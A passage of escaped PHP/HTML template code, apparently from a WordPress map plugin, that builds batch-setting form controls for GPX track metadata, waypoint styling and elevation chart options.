mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaEndCheck\" class=\"batch-settings-check\" name=\"gpxMetaEndCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxMetaEnd\"><?= esc_html__('End', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaEnd\" name=\"gpxMetaEnd\" <?= !$settings['gpxMetaEnd'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaTotalCheck\" class=\"batch-settings-check\" name=\"gpxMetaTotalCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxMetaTotal\"><?= esc_html__('Total', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaTotal\" name=\"gpxMetaTotal\" <?= !$settings['gpxMetaTotal'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaMovingCheck\" class=\"batch-settings-check\" name=\"gpxMetaMovingCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxMetaMoving\"><?= esc_html__('Moving', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaMoving\" name=\"gpxMetaMoving\" <?= !$settings['gpxMetaMoving'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaDistanceCheck\" class=\"batch-settings-check\" name=\"gpxMetaDistanceCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxMetaDistance\"><?= esc_html__('Distance', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaDistance\" name=\"gpxMetaDistance\" <?= !$settings['gpxMetaDistance'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaPaceCheck\" class=\"batch-settings-check\" name=\"gpxMetaPaceCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxMetaPace\"><?= esc_html__('Pace', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaPace\" name=\"gpxMetaPace\" <?= !$settings['gpxMetaPace'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaHeartRateCheck\" class=\"batch-settings-check\" name=\"gpxMetaHeartRateCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxMetaHeartRate\"><?= esc_html__('Heart rate', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaHeartRate\" name=\"gpxMetaHeartRate\" <?= !$settings['gpxMetaHeartRate'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaElevationCheck\" class=\"batch-settings-check\" name=\"gpxMetaElevationCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxMetaElevation\"><?= esc_html__('Elevation', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaElevation\" name=\"gpxMetaElevation\" <?= !$settings['gpxMetaElevation'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaDownloadCheck\" class=\"batch-settings-check\" name=\"gpxMetaDownloadCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxMetaDownload\"><?= esc_html__('Download', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaDownload\" name=\"gpxMetaDownload\" <?= !$settings['gpxMetaDownload'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"waypointsContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxWaypointsCheck\" class=\"batch-settings-check\" name=\"gpxWaypointsCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxWaypoints\"><?= esc_html__('Show', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxWaypoints\" name=\"gpxWaypoints\" <?= !$settings['gpxWaypoints'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxWaypointsRadiusCheck\" class=\"batch-settings-check\" name=\"gpxWaypointsRadiusCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxWaypointsRadius\"><?= esc_html__('Waypoints radius', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"gpxWaypointsRadius\" name=\"gpxWaypointsRadius\" value=\"<?= $settings['gpxWaypointsRadius'] ?>\" min=\"0\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxWaypointsStrokeCheck\" class=\"batch-settings-check\" name=\"gpxWaypointsStrokeCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxWaypointsStroke\"><?= esc_html__('Stroke', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxWaypointsStroke\" name=\"gpxWaypointsStroke\" <?= !$settings['gpxWaypointsStroke'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxWaypointsColorCheck\" class=\"batch-settings-check\" name=\"gpxWaypointsColorCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxWaypointsColor\"><?= esc_html__('Stroke color', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"gpxWaypointsColor\" name=\"gpxWaypointsColor\" value=\"<?= $settings['gpxWaypointsColor'] ?>\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxWaypointsWeightCheck\" class=\"batch-settings-check\" name=\"gpxWaypointsWeightCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxWaypointsWeight\"><?= esc_html__('Stroke weight', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"gpxWaypointsWeight\" name=\"gpxWaypointsWeight\" value=\"<?= $settings['gpxWaypointsWeight'] ?>\" min=\"0\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxWaypointsFillColorCheck\" class=\"batch-settings-check\" name=\"gpxWaypointsFillColorCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxWaypointsFillColor\"><?= esc_html__('Fill color', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"gpxWaypointsFillColor\" name=\"gpxWaypointsFillColor\" value=\"<?= $settings['gpxWaypointsFillColor'] ?>\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxWaypointsFillOpacityCheck\" class=\"batch-settings-check\" name=\"gpxWaypointsFillOpacityCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxWaypointsFillOpacity\"><?= esc_html__('Fill opacity', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"gpxWaypointsFillOpacity\" name=\"gpxWaypointsFillOpacity\" value=\"<?= $settings['gpxWaypointsFillOpacity'] ?>\" min=\"0\" max=\"1\" step=\"0.01\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"elevationChartContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartCheck\" class=\"batch-settings-check\" name=\"gpxChartCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxChart\"><?= esc_html__('Show', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChart\" name=\"gpxChart\" <?= !$settings['gpxChart'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartHeightCheck\" class=\"batch-settings-check\" name=\"gpxChartHeightCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxChartHeight\"><?= esc_html__('Height', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"gpxChartHeight\" name=\"gpxChartHeight\" value=\"<?= $settings['gpxChartHeight'] ?>\" min=\"0\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartBgColorCheck\" class=\"batch-settings-check\" name=\"gpxChartBgColorCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxChartBgColor\"><?= esc_html__('Background color', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"gpxChartBgColor\" name=\"gpxChartBgColor\" value=\"<?= $settings['gpxChartBgColor'] ?>\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartPolylineCheck\" class=\"batch-settings-check\" name=\"gpxChartPolylineCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxChartPolyline\"><?= esc_html__('Chart stroke', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartPolyline\" name=\"gpxChartPolyline\" <?= !$settings['gpxChartPolyline'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartPolylineColorCheck\" class=\"batch-settings-check\" name=\"gpxChartPolylineColorCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxChartPolylineColor\"><?= esc_html__('Chart stroke color', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"gpxChartPolylineColor\" name=\"gpxChartPolylineColor\" value=\"<?= $settings['gpxChartPolylineColor'] ?>\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartPolylineWeightCheck\" class=\"batch-settings-check\" name=\"gpxChartPolylineWeightCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxChartPolylineWeight\"><?= esc_html__('Chart stroke weight', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"gpxChartPolylineWeight\" name=\"gpxChartPolylineWeight\" value=\"<?= $settings['gpxChartPolylineWeight'] ?>\" min=\"0\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartPolygonCheck\" class=\"batch-settings-check\" name=\"gpxChartPolygonCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxChartPolygon\"><?= esc_html__('Chart fill', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartPolygon\" name=\"gpxChartPolygon\" <?= !$settings['gpxChartPolygon'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartPolygonFillColorCheck\" class=\"batch-settings-check\" name=\"gpxChartPolygonFillColorCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxChartPolygonFillColor\"><?= esc_html__('Chart fill color', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"gpxChartPolygonFillColor\" name=\"gpxChartPolygonFillColor\" value=\"<?= $settings['gpxChartPolygonFillColor'] ?>\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartIndicatorCheck\" class=\"batch-settings-check\" name=\"gpxChartIndicatorCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxChartIndicator\"><?= esc_html__('Indicator', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartIndicator\" name=\"gpxChartIndicator\" <?= !$settings['gpxChartIndicator'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartIndicatorColorCheck\" class=\"batch-settings-check\" name=\"gpxChartIndicatorColorCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxChartIndicatorColor\"><?= esc_html__('Indicator color', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"gpxChartIndicatorColor\" name=\"gpxChartIndicatorColor\" value=\"<?= $settings['gpxChartIndicatorColor'] ?>\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartIndicatorWeightCheck\" class=\"batch-settings-check\" name=\"gpxChartIndicatorWeightCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxChartIndicatorWeight\"><?= esc_html__('Indicator weight', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"gpxChartIndicatorWeight\" name=\"gpxChartIndicatorWeight\" value=\"<?= $settings['gpxChartIndicatorWeight'] ?>\" min=\"0\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartLocatorCheck\" class=\"batch-settings-check\" name=\"gpxChartLocatorCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxChartLocator\"><?= esc_html__('Locator', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxChartLocator\" name=\"gpxChartLocator\" <?= !$settings['gpxChartLocator'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" 